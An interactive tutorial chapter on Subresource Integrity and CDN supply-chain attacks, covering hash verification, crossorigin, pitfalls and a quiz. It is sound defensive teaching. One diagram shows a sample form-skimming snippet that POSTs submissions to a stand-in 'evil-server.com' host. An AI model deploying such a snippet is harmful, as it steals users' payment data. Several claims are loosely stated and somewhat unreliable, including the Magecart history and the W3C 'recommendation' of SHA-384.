Chapter 69: Subresource Integrity (SRI) & Referrer Policy

What is Subresource Integrity (SRI)?

Defending the frontend supply chain against third-party CDN compromises, script tampering, and malicious dependency injection via cryptographic verification.

LEARNING OBJECTIVES
  • Understand the mechanics of frontend supply-chain attacks and CDN poisoning vectors.
  • Explain the W3C Subresource Integrity (SRI) specification and how browsers cryptographically verify external files.
  • Trace the browser execution pipeline from network fetch to byte-level hash comparison.
  • Differentiate between origin-hosted trust and third-party delivery risks.
🎬 INTERACTIVE VISUAL PIPELINE Core Architecture Simulation
🌐
1. Input
Directives & Tags
⚙️
2. Parse
Tokenizer & AST
🌳
3. Layout
Box Model & Flow
🎨
4. Render
GPU Paint & Composite
PHASE 1: INPUT & DIRECTIVES
Browser receives declarative markup stream, parsing tag tokens and initializing component state.

📖 The Mental Model & Story (Intuitive Foundation)

Imagine ordering an expensive mechanical watch from a boutique online store. The store doesn't deliver the package itself; instead, it contracts a third-party courier service. Before the parcel leaves the manufacturer, the boutique places a serialized, tamper-evident security seal on the box and emails you the exact serial number (SEAL-9843-X71).

When the courier arrives at your doorstep, you inspect the box:

  • If the seal is intact and matches SEAL-9843-X71, you accept the parcel and open it.
  • If the seal has been broken, peeled off, or replaced with a different serial number, you immediately reject the delivery and refuse to bring it into your house.
+-----------------------------------------------------------------------------------------+
|                                  THE COURIER METAPHOR                                   |
+-----------------------------------------------------------------------------------------+
|                                                                                         |
|  1. Your Web App (Boutique)       2. Third-Party CDN (Courier)      3. User's Browser   |
|     Issues HTML with expected        Transports the script file        Receives bytes,  |
|     hash seal:                       across the internet               computes digest, |
|     integrity="sha384-abc..."                                          and verifies     |
|                                                                                         |
|     +--------------------+           +----------------------+          +--------------+ |
|     |  index.html        |           | cdn.example.com/     |          | Browser      | |
|     |  <script src="..." | --------> | analytics.js         | -------> | Compares:    | |
|     |  integrity="..." > |           | [Modified by hacker] |          | Hash != Seal | |
|     +--------------------+           +----------------------+          | 🛑 BLOCKED!  | |
|                                                                        +--------------+ |
+-----------------------------------------------------------------------------------------+

In the early days of the web, developers loaded jQuery, Bootstrap, or font libraries from public CDNs assuming the files would always remain identical. In 2018, attackers compromised the CDN hosting scripts for British Airways and Ticketmaster (the infamous Magecart attacks). By altering just 22 lines of JavaScript inside a hosted third-party script, attackers silently intercepted and exfiltrated payment card numbers from over 380,000 customers.

Subresource Integrity (SRI) is the browser's cryptographic seal. It allows your HTML to state: "Fetch this file from any external server, but do not execute a single byte unless its cryptographic hash matches this exact fingerprint."


Technical Deep Dive & Specifications

The Threat Model: CDN Compromises vs. Origin Trust

When an HTML document embeds a remote script via <script src="https://cdn.example.com/lib.js"></script>, the script runs in the same origin context as the host application.

This means the external script inherits full privileges:

  • Reading and writing document.cookie (unless marked HttpOnly).
  • Accessing localStorage, sessionStorage, and IndexedDB.
  • Intercepting keystrokes and form submissions (credit cards, passwords).
  • Making authenticated background fetch() requests with user credentials.
+------------------------------------------------------------------------------------+
|                         ATTACK VECTOR: UNVERIFIED CDN SCRIPT                        |
+------------------------------------------------------------------------------------+
|                                                                                    |
|  1. Webmaster embeds: <script src="https://cdn.thirdparty.com/modal.js">           |
|                                                                                    |
|  2. CDN infrastructure is compromised (BGP hijack, stolen AWS keys, malicious PR)  |
|                                                                                    |
|  3. Hacker appends payload:                                                        |
|     document.forms[0].addEventListener('submit', () => {                           |
|       fetch('https://evil-server.com/steal', { method: 'POST', body: ... });       |
|     });                                                                            |
|                                                                                    |
|  4. Browser downloads modal.js and executes it immediately in the origin context.  |
|                                                                                    |
+------------------------------------------------------------------------------------+

The W3C SRI Specification Lifecycle

The W3C Subresource Integrity specification defines the algorithm used by the user agent when fetching resources linked with an integrity attribute.

               [ Browser encounters <script> or <link> with integrity ]
                                          |
                                          v
                         [ Initiate network fetch with CORS ]
                                          |
                                          v
                            [ Raw bytes arrive at browser ]
                                          |
                                          v
                      [ Browser computes cryptographic digest ]
                               (e.g., SHA-384 of raw bytes)
                                          |
                                          v
                      [ Base64 encode calculated binary digest ]
                                          |
                                          v
                       /------------------------------------\
                      <  Does computed hash == integrity?    >
                       \------------------------------------/
                                 /                \
                           YES  /                  \  NO
                               v                    v
                     [ Execute Script /     [ Throw NetworkError / Block ]
                       Apply Stylesheet ]   [ Log Console Security Error ]
                                            [ Fire element.onerror ]

Cryptographic Hash Function Standards

SRI supports cryptographic hash functions from the SHA-2 family:

  • SHA-256 (sha256-): Generates a 256-bit digest (32 bytes), base64 encoded to 44 characters (including padding).
  • SHA-384 (sha384-): Generates a 384-bit digest (48 bytes), base64 encoded to 64 characters. (W3C Recommended Standard)
  • SHA-512 (sha512-): Generates a 512-bit digest (64 bytes), base64 encoded to 88 characters.
Algorithm Prefix Output Digest Size Collision Resistance W3C Recommendation Status
SHA-256 sha256- 32 bytes / 256 bits High Supported
SHA-384 sha384- 48 bytes / 384 bits Very High Strongly Recommended
SHA-512 sha512- 64 bytes / 512 bits Maximum Supported
MD5 / SHA-1 N/A Insecure Vulnerable to collisions ❌ Prohibited / Unsupported

💻 Interactive Code Playground

Starter Code

Line-by-Line Code Breakdown

  • Lines 8–14 (<link rel="stylesheet"...): Links an external stylesheet from Cloudflare's CDN. The integrity attribute specifies the exact SHA-512 hash of normalize.min.css. crossorigin="anonymous" instructs the browser to request CORS headers so the response bytes can be read by the hashing engine.
  • Lines 35–39 (<script src="..." integrity="sha512-..."): Loads the Day.js date library from a CDN. The browser halts execution until the raw bytes are downloaded, SHA-512 hashed, and compared against sha512-FwNWaxy....
  • Lines 42–51 (<script>...): Tests if dayjs exists in the global window scope. If the hash had failed, dayjs would be undefined, and the script would throw an error or handle the fallback gracefully.

Expected Browser Render Output

(In DevTools Network tab, dayjs.min.js returns HTTP 200 and executes. If an attacker had modified a single character on the CDN, the DevTools Console would display: Failed to find a valid digest in the 'integrity' attribute for resource '...' with computed SHA-512 integrity '...' The resource has been blocked.)


SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
HTML STARSHIP CODE TERMINAL playground.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...
Subresource Integrity (SRI) in Action
This page loads external libraries with cryptographic verification.

+-------------------------------------------------------------------------+
| ✅ Legitimate Script Loaded                                             |
| Day.js loaded successfully! Current timestamp: 2026-08-21 02:30:00     |
+-------------------------------------------------------------------------+

🏋️ Hands-On Exercise

🎯 The Challenge: Secure a Financial Dashboard with SRI

Instructions:

  1. You are securing a fintech banking portal. Add the integrity attribute to the external Chart.js library loaded from CDN.
  2. The expected SHA-384 hash of the file https://cdn.example.com/chart.min.js is: sha384-H4Lz5vI3Yn5FzM8P1Q2R3S4T5U6V7W8X9Y0Z1A2B3C4D5E6F7G8H9I0J1K2L3M4N
  3. Add the required crossorigin="anonymous" attribute to ensure the browser performs CORS verification before computing the hash.
  4. Add an inline fallback listener using onerror on the script tag to alert the security team if the CDN hash check fails.

🏁 Starter Code Sandbox

SYS: ACTIVE
HULL: 98%
CORE: STABLE
NET: ONLINE
STARTER CODE SANDBOX exercise.html
LIVE RENDER & DIAGNOSTICS CORE TEMP: 45°C
INSPECTING DOM: VALID
TAGS: SCANNING...

⚠️ Common Pitfalls

  1. Omitting crossorigin="anonymous" on Cross-Origin CDN Resources: If you specify integrity on a cross-origin script without crossorigin, the browser receives an "opaque response" and blocks the script entirely for security reasons.
  2. Using Floating/Unpinned CDN URLs (latest.js): Never use SRI with mutable URLs like https://cdn.example.com/lib/latest.min.js. The moment the library author releases a minor update, the CDN file changes, the hash no longer matches, and your production site breaks.
  3. Using Deprecated Algorithms (MD5 or SHA-1): Browsers ignore MD5 and SHA-1 hashes in the integrity attribute because they are vulnerable to collision attacks. Always use SHA-256, SHA-384, or SHA-512.

💡 Pro Tips

  1. SHA-384 is the Performance & Security Sweet Spot: W3C recommends SHA-384 over SHA-256 and SHA-512. On 64-bit architectures, SHA-384 and SHA-512 execute faster than SHA-256 due to 64-bit word operations, and SHA-384 provides superior resistance to length-extension attacks.
  2. Pair SRI with Content Security Policy (CSP): Use the CSP require-sri-for directive (or modern CSP Level 3 script-src policies) to mandate that no third-party script can ever execute unless an integrity hash is explicitly declared in HTML.

📌 Key Takeaways

  • Subresource Integrity (SRI) enables browsers to verify that resources fetched from CDNs have not been altered maliciously or unexpectedly.
  • Third-party scripts execute directly within your application's origin, making unverified CDN dependencies high-risk supply-chain vectors.
  • SRI uses cryptographic hashes from the SHA-2 family (sha256-, sha384-, sha512-) encoded in Base64.
  • If a resource fails hash verification, the browser blocks execution immediately, logs a console error, and triggers the element's onerror handler.
  • SRI must always be paired with crossorigin="anonymous" for cross-origin resources.
  • --
⭐ LEARN: HTML 🌟 ⚔️ QUIZ BATTLE ARENA // ACTIVE
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 1 / 3

What happens in a modern browser when a script's downloaded bytes produce a hash that does NOT match the value in its integrity attribute?

Question 1 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 2 / 3

Why is loading unversioned scripts like <script src="https://cdn.example.com/app/latest.js" integrity="..."> an anti-pattern?

Question 2 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP
3x
STREAK!
BONUS ACTIVE
COMBO
? Question 3 / 3

Which cryptographic hash algorithm is explicitly recommended by the W3C Subresource Integrity specification?

Question 3 / 3 Topic: HTML Fundamentals
00:45 REMAINING
XP REWARD
+250 XP